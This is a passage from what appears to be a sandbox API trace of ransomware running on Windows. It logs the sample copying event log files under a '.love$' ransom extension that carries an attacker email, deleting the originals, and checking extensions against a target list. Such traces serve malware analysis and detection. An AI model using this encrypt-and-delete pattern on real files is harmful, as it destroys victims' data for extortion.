(lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.828] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0225.829] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.829] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.829] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0225.829] GetLastError () returned 0x0 [0225.829] ReadFile (in: hFile=0x42c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0225.865] WriteFile (in: hFile=0x450, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0225.869] ReadFile (in: hFile=0x42c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.870] WriteFile (in: hFile=0x450, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x168, lpOverlapped=0x0) returned 1 [0225.870] SetEndOfFile (hFile=0x450) returned 1 [0225.871] CloseHandle (hObject=0x450) returned 1 [0225.877] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.878] SetEndOfFile (hFile=0x42c) returned 1 [0225.879] CloseHandle (hObject=0x42c) returned 1 [0225.879] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0225.881] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0225.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.882] lstrlenW (lpString=".doc") returned 4 [0225.882] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString=".docx") returned 5 [0225.882] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.882] lstrlenW (lpString=".pdf") returned 4 [0225.882] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString=".xls") returned 4 [0225.882] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString=".xlsx") returned 5 [0225.882] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.882] lstrlenW (lpString=".ppt") returned 4 [0225.882] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.882] lstrlenW (lpString=".zip") returned 4 [0225.882] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString=".rar") returned 4 [0225.882] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString=".bz2") returned 4 [0225.882] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString=".7z") returned 3 [0225.882] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.882] lstrlenW (lpString=".dbf") returned 4 [0225.882] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.882] lstrlenW (lpString=".1cd") returned 4 [0225.882] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.882] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.882] lstrlenW (lpString=".jpg") returned 4 [0225.883] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.883] lstrlenW (lpString=".doc") returned 4 [0225.883] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0225.883] lstrlenW (lpString=".docx") returned 5 [0225.883] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0225.883] lstrlenW (lpString=".pdf") returned 4 [0225.883] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0225.883] lstrlenW (lpString=".xls") returned 4 [0225.883] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0225.883] lstrlenW (lpString=".xlsx") returned 5 [0225.883] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0225.883] lstrlenW (lpString=".ppt") returned 4 [0225.883] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0225.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.883] lstrlenW (lpString=".zip") returned 4 [0225.883] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0225.883] lstrlenW (lpString=".rar") returned 4 [0225.883] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0225.883] lstrlenW (lpString=".bz2") returned 4 [0225.883] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0225.883] lstrlenW (lpString=".7z") returned 3 [0225.883] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0225.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.883] lstrlenW (lpString=".dbf") returned 4 [0225.884] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0225.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.884] lstrlenW (lpString=".1cd") returned 4 [0225.884] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0225.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0225.884] lstrlenW (lpString=".jpg") returned 4 [0225.884] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0225.884] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0225.884] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0225.884] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0225.908] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=1052672) returned 1 [0225.908] CloseHandle (hObject=0x450) returned 1 [0225.908] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0225.909] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.909] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0225.909] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.909] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.909] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0225.910] GetLastError () returned 0x0 [0225.910] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0226.152] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0226.229] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1010, lpOverlapped=0x0) returned 1 [0226.493] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1020, lpOverlapped=0x0) returned 1 [0226.497] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.497] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x126, lpOverlapped=0x0) returned 1 [0226.498] SetEndOfFile (hFile=0x3c0) returned 1 [0226.498] CloseHandle (hObject=0x3c0) returned 1 [0226.530] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.530] SetEndOfFile (hFile=0x450) returned 1 [0226.552] CloseHandle (hObject=0x450) returned 1 [0226.552] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.552] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0226.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.614] lstrlenW (lpString=".doc") returned 4 [0226.614] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.614] lstrlenW (lpString=".docx") returned 5 [0226.614] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.614] lstrlenW (lpString=".pdf") returned 4 [0226.614] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.614] lstrlenW (lpString=".xls") returned 4 [0226.614] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.614] lstrlenW (lpString=".xlsx") returned 5 [0226.614] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.615] lstrlenW (lpString=".ppt") returned 4 [0226.615] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.615] lstrlenW (lpString=".zip") returned 4 [0226.615] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.615] lstrlenW (lpString=".rar") returned 4 [0226.615] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.615] lstrlenW (lpString=".bz2") returned 4 [0226.615] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.615] lstrlenW (lpString=".7z") returned 3 [0226.615] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.615] lstrlenW (lpString=".dbf") returned 4 [0226.615] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.615] lstrlenW (lpString=".1cd") returned 4 [0226.615] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.615] lstrlenW (lpString=".jpg") returned 4 [0226.615] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.616] lstrlenW (lpString=".doc") returned 4 [0226.616] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.616] lstrlenW (lpString=".docx") returned 5 [0226.616] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.616] lstrlenW (lpString=".pdf") returned 4 [0226.616] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.616] lstrlenW (lpString=".xls") returned 4 [0226.616] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.616] lstrlenW (lpString=".xlsx") returned 5 [0226.616] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.616] lstrlenW (lpString=".ppt") returned 4 [0226.616] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.616] lstrlenW (lpString=".zip") returned 4 [0226.616] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.616] lstrlenW (lpString=".rar") returned 4 [0226.616] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.616] lstrlenW (lpString=".bz2") returned 4 [0226.616] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.616] lstrlenW (lpString=".7z") returned 3 [0226.616] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.616] lstrlenW (lpString=".dbf") returned 4 [0226.616] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.617] lstrlenW (lpString=".1cd") returned 4 [0226.617] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0226.617] lstrlenW (lpString=".jpg") returned 4 [0226.617] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.617] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.617] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0226.617] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0226.618] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0226.618] CloseHandle (hObject=0x450) returned 1 [0226.618] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0226.618] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.618] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0226.618] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.618] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.618] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0226.620] GetLastError () returned 0x0 [0226.620] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.652] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.655] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.655] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x158, lpOverlapped=0x0) returned 1 [0226.655] SetEndOfFile (hFile=0x3c0) returned 1 [0226.655] CloseHandle (hObject=0x3c0) returned 1 [0226.664] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.664] SetEndOfFile (hFile=0x450) returned 1 [0226.666] CloseHandle (hObject=0x450) returned 1 [0226.666] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.667] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0226.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.667] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.667] lstrlenW (lpString=".doc") returned 4 [0226.667] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.667] lstrlenW (lpString=".docx") returned 5 [0226.667] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.667] lstrlenW (lpString=".pdf") returned 4 [0226.667] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.667] lstrlenW (lpString=".xls") returned 4 [0226.667] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.667] lstrlenW (lpString=".xlsx") returned 5 [0226.667] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.667] lstrlenW (lpString=".ppt") returned 4 [0226.668] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.668] lstrlenW (lpString=".zip") returned 4 [0226.668] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.668] lstrlenW (lpString=".rar") returned 4 [0226.668] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.668] lstrlenW (lpString=".bz2") returned 4 [0226.668] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.668] lstrlenW (lpString=".7z") returned 3 [0226.668] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.668] lstrlenW (lpString=".dbf") returned 4 [0226.668] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.668] lstrlenW (lpString=".1cd") returned 4 [0226.668] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.668] lstrlenW (lpString=".jpg") returned 4 [0226.668] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.668] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.668] lstrlenW (lpString=".doc") returned 4 [0226.668] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.668] lstrlenW (lpString=".docx") returned 5 [0226.668] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.669] lstrlenW (lpString=".pdf") returned 4 [0226.669] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.669] lstrlenW (lpString=".xls") returned 4 [0226.669] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.669] lstrlenW (lpString=".xlsx") returned 5 [0226.669] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.669] lstrlenW (lpString=".ppt") returned 4 [0226.669] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.669] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.669] lstrlenW (lpString=".zip") returned 4 [0226.669] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.669] lstrlenW (lpString=".rar") returned 4 [0226.669] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.669] lstrlenW (lpString=".bz2") returned 4 [0226.669] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.669] lstrlenW (lpString=".7z") returned 3 [0226.669] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.669] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.669] lstrlenW (lpString=".dbf") returned 4 [0226.669] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.669] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.669] lstrlenW (lpString=".1cd") returned 4 [0226.669] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.669] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0226.669] lstrlenW (lpString=".jpg") returned 4 [0226.670] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.670] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.670] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0226.670] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.695] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0226.695] CloseHandle (hObject=0x45c) returned 1 [0226.695] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0226.695] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.696] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 